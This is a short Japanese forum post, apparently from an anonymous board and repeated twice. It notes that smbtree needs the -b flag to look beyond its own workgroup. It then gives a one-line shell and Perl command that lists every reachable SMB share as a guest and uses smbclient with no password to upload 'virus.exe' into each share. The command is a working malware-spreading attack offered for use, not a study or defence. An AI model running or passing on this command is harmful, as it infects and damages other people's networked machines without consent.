09/08/26 17:43:31 p7NCW5nO
>>46
-bがないと同じワークグループ内しか探してくれなかった。
$ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
09/08/26 17:43:31 p7NCW5nO
>>46
-bがないと同じワークグループ内しか探してくれなかった。
$ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'